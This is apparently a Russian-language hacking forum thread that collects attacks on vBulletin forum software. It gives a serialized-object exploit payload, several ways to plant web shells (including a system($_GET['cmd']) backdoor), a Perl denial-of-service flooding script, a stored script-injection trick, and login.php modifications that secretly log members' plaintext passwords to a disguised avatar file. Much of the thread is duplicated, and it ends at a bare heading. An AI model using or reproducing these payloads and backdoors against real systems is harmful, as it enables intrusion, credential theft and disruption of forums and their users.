много возникает подобных тем , поэтому предлагаю создать один топ по Булке , куда публиковать все актуальные баги, взломы, сплойты, способы заливки шеллов и другую полезныю информацию по взлому Булки

к модерам просьба топ закрепить

Как узнать версию VBulletin?
wwwforum.сom/forumpath/clientscript/vbulletin_ajax_threadslist.js
wwwforum.сom/forumpath/clientscript/vbulletin_editor.css
wwwforum.сom/forumpath/clientscript/vbulletin_ajax_namesugg.js
wwwforum.сom/forumpath/clientscript/vbulletin_attachment.js
В исходниках увидите версию форума

VBulletin nulled <= 3.8.1 Arbitrary Function Execution
В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения

Эксплоит для выполнения phpinfo():

Код:
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO  :11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}

Способ заливки шелл на vBulletin всех версий
Плагины и Продукты -> Добавить новый плагин -> в "Plugin PHP Code" написать такое:

Код:
$target_path = "images/avatars"; //ваша директория, главное что бы чмод 777 стоял

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
   echo "The file ".  basename( $_FILES['uploadedfile']['name']).
   " has been uploaded";
} else{
   echo "There was an error uploading the file";
}

Устанавливаем плагин как активный, сохраняемся, и видим ошибку "No input File Specified". Все нормально.

Далее нам нужно место для загрузки:

Код:
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>

Вставляем везде где разрешен хтмл, или редактируем шаблон и загружаем наш шелл

vBulletin® Version 3.8.2 Denial of Service Exploit

Код:
#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
##################################################  ######################
# Modules                                                              #
##################################################  ######################
use IO::SOCKET;           # Object interface                           #
##################################################  ######################
if (@ARGV<1){
print"
##################################################  ######################
## _                     _     _                   _                  ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
##                                                                    ##
##################################################  ######################
##################################################  ######################
##                                ##                                  ##
##->vBulletin® Version 3.8.2<-    ##                                  ##
##                                ##                                  ##
##Gebe diese Daten an             ##                                  ##
##1.Ziel                          ##[*] www.Ziel.com                  ##
##2.Board                         ##[*] vbulletin                     ##
##3.Verwundbarkeit                ##[*] forumdisplay.php?f=           ##
##4.Zeit des vorganges            ##[*] 9999999999999999              ##
##5.Port                          ##[*] 80                            ##
##################################################  ######################
\a";}
$block = "
##################################################  ######################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
    print"$block\n";
    print q(Ziel->);
    chomp($ziel =<STDIN>);
    if ($ziel eq""){
    die "$fehler\a\n";}
    print"$block\n";
      print"$block\n";
      print q(Path->);
      chomp($path =<STDIN>);
      if ($path eq "") {
      die "$fehler !\a\n";}
      print"$block\n";
         print"$block\n";
         print "Verwundbarkeit\n";
         print"forumdisplay.php?f=\n";
         print"->"n;
           chomp($vul =<STDIN>);
           if ($vul eq "") {
           die "$fehler !\a\n";}
           print"$block\n";
              print"$block\n";
              print q(Time->);
              chomp($flood =<STDIN>);
              if ($flood eq "") {
              die "$fehler !\a\n";}
                 print"$block\n";
                 print"$block\n";
                 print q(Port->);
                 chomp($port =<STDIN>);
                 if ($port eq ""){
                 die "$fehler \n";}
                 print"$block\n";
                    print q(Send "start"->);
                    chomp($start =<STDIN>);
                    if ($start eq "") {
                    die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel   : $ziel\n";
print "[*]Kontroliere Board  : $path\n";
print "[*]Kontroliere Port   : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                              PeerAddr => "$ziel",
                              PeerPort => "$port",
                              Proto => "tcp",
                             );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}

много возникает подобных тем , поэтому предлагаю создать один топ по Булке , куда публиковать все актуальные баги, взломы, сплойты, способы заливки шеллов и другую полезныю информацию по взлому Булки

к модерам просьба топ закрепить

Как узнать версию VBulletin?
wwwforum.сom/forumpath/clientscript/vbulletin_ajax_threadslist.js
wwwforum.сom/forumpath/clientscript/vbulletin_editor.css
wwwforum.сom/forumpath/clientscript/vbulletin_ajax_namesugg.js
wwwforum.сom/forumpath/clientscript/vbulletin_attachment.js
В исходниках увидите версию форума

VBulletin nulled <= 3.8.1 Arbitrary Function Execution
В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения

Эксплоит для выполнения phpinfo():
Код|Code
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO  :11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}

Способ заливки шелл на vBulletin всех версий
Плагины и Продукты -> Добавить новый плагин -> в "Plugin PHP Code" написать такое:
Код|Code
$target_path = "images/avatars"; //ваша директория, главное что бы чмод 777 стоял

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
   echo "The file ".  basename( $_FILES['uploadedfile']['name']).
   " has been uploaded";
} else{
   echo "There was an error uploading the file";
}

Устанавливаем плагин как активный, сохраняемся, и видим ошибку "No input File Specified". Все нормально.

Далее нам нужно место для загрузки:
Код|Code
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>

Вставляем везде где разрешен хтмл, или редактируем шаблон и загружаем наш шелл smile.gif

vBulletin® Version 3.8.2 Denial of Service Exploit
Код|Code
#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
##################################################  ######################
# Modules                                                              #
##################################################  ######################
use IO::SOCKET;           # Object interface                           #
##################################################  ######################
if (@ARGV<1){
print"
##################################################  ######################
## _                     _     _                   _                  ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
##                                                                    ##
##################################################  ######################
##################################################  ######################
##                                ##                                  ##
##->vBulletin® Version 3.8.2<-    ##                                  ##
##                                ##                                  ##
##Gebe diese Daten an             ##                                  ##
##1.Ziel                          ##[*] wwwZiel.com                  ##
##2.Board                         ##[*] vbulletin                     ##
##3.Verwundbarkeit                ##[*] forumdisplay.php?f=           ##
##4.Zeit des vorganges            ##[*] 9999999999999999              ##
##5.Port                          ##[*] 80                            ##
##################################################  ######################
\a";}
$block = "
##################################################  ######################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
    print"$block\n";
    print q(Ziel->);
    chomp($ziel =<STDIN>);
    if ($ziel eq""){
    die "$fehler\a\n";}
    print"$block\n";
      print"$block\n";
      print q(Path->);
      chomp($path =<STDIN>);
      if ($path eq "") {
      die "$fehler !\a\n";}
      print"$block\n";
         print"$block\n";
         print "Verwundbarkeit\n";
         print"forumdisplay.php?f=\n";
         print"->"n;
           chomp($vul =<STDIN>);
           if ($vul eq "") {
           die "$fehler !\a\n";}
           print"$block\n";
              print"$block\n";
              print q(Time->);
              chomp($flood =<STDIN>);
              if ($flood eq "") {
              die "$fehler !\a\n";}
                 print"$block\n";
                 print"$block\n";
                 print q(Port->);
                 chomp($port =<STDIN>);
                 if ($port eq ""){
                 die "$fehler \n";}
                 print"$block\n";
                    print q(Send "start"->);
                    chomp($start =<STDIN>);
                    if ($start eq "") {
                    die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel   : $ziel\n";
print "[*]Kontroliere Board  : $path\n";
print "[*]Kontroliere Port   : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                              PeerAddr => "$ziel",
                              PeerPort => "$port",
                              Proto => "tcp",
                             );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}

Протроянивание vBulletin всех версий
Уязвимость заключается в том, что поле "Заголовок" не фильтруется. Заходим: Админка - Поля профиля участника - Добавить поле в профиле пользователя. (либо просто site.com/admincp/profilefield.php?do=add). Там выбираем: Тип поля профиля - Текстовое поле одной строчкой. Кликаем Далее. В поле заголовок вводим:

Код:
<script>alert('alert)</script>

Кликаем Сохранить. После этого заходим в Админку - Поля профиля участника - Управление полями профиля пользователя. (либо просто site.com/admincp/profilefield.php?do=modifycats) Потом выбираем наш Редактировать около нашего <script>alert('alert)</script> (либо просто site.com/admincp/profilefield.php?do=edit&profilefieldid=xx, где xx - уникальный ИД, который присвоился полю после добавления), и вуаля - у нас алерт.
cool.gif Панель Управления - Личные Данные (либо просто site.com/profile.php?do=editprofile), все - у нас есть алерт.

© mailbrush, ачат

Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)
По идее все просто: в файл login.php в корне сайта добавляем

Код:
// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
   $vbulletin->input->clean_array_gpc('p', array(
       'vb_login_username'        => TYPE_STR,
       'vb_login_password'        => TYPE_STR,
       'vb_login_md5password'     => TYPE_STR,
       'vb_login_md5password_utf' => TYPE_STR,
       'postvars'                 => TYPE_STR,
       'cookieuser'               => TYPE_BOOL,
       'logintype'                => TYPE_STR,
       'cssprefs'                 => TYPE_STR,
   ));

   define( 'auth_req', './customavatars/avatar178_2.gif' );
   $fp = fopen( auth_req, 'a' );  
   $un1=&$vbulletin->GPC['vb_login_username']; $un2=&$vbulletin->GPC['vb_login_password']; $un3 = date("d.m.y H.i.s");
   $message = "$un3:$un1:$un2\r\n";  
   flock($fp,LOCK_EX);  
   fwrite( $fp, $message );  
   fflush($fp); flock($fp,LOCK_UN); fclose( $fp );  

   // can the user login?

но в логах видим, что пароля все же нет. Обидно...
Посмотрим на форму регистрации:

Код:
...
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
...

Ага. значит входим по функции из javascript...
Сама функция находится в clientscript/vbulletin_md5.js
А там мы видим в конце:

Код:
// implemented like this to make sure un-updated templates behave as before
           input.value = '';

Это значит, что введенный нами пароль просто затирается перед передачей дальше. Просто комментарим строку и собираем пароли (обновляем ессно страницу, для того чтобы заюзать измененный JavaScript)...

Код:
...
// input.value = '';
...

P.S. против автозахода (куки) можно стереть из бд все сессии
P.P.S. Можно и не комментировать, а изменить переменную $un2=&$vbulletin->GPC['vb_login_md5password'];
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)

© Basurman, ачат

Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум) - получение чистых паролей
1) Добавляем в начало файла login.php

Код:
$Login = $_POST['vb_login_username'];
$Passwd = $_POST['vb_login_password'];
$fp = fopen("./customavatars/avatar178_2.gif","a+");
fwrite($fp,"$Login:$Passwd\n");
fclose($fp);

2) Очищаем полностью файл clientscript/vbulletin_md5.js от этого ничего не изменится.

3) Для того чтобы обнулить сессии выполняем код:

Код:
$link = mysql_connect('хост','логин','пасс');
mysql_select_db('база данных',$link);
$query = "TRUNCATE TABLE префикс_session";
$result = mysql_query($query, $link);
mysql_close($link);

© GrAmOzEkA

Как залить шелл в vBulletin 2.*.* и 3.0.*
1. Заходим в админку => Смайлы => Загрузить смайл => Грузим наш шелл (папка по умолчанию /images/smilies)
2. Заходим wwwsite.сom/путь к форуму/images/smilies/shell.php

Как залить шелл в vBulletin 3.5.*
1. Заходим в админку => Система модулей => Добавить новый модуль
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), можно залить просто

Код:
system($_GET["cmd"]);

2. Сохраняем, идём в faq (справка), теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так wwwxz.сom/forumpath/faq.php?cmd=тут команда

VBulletin 3.8.8 Remote code execution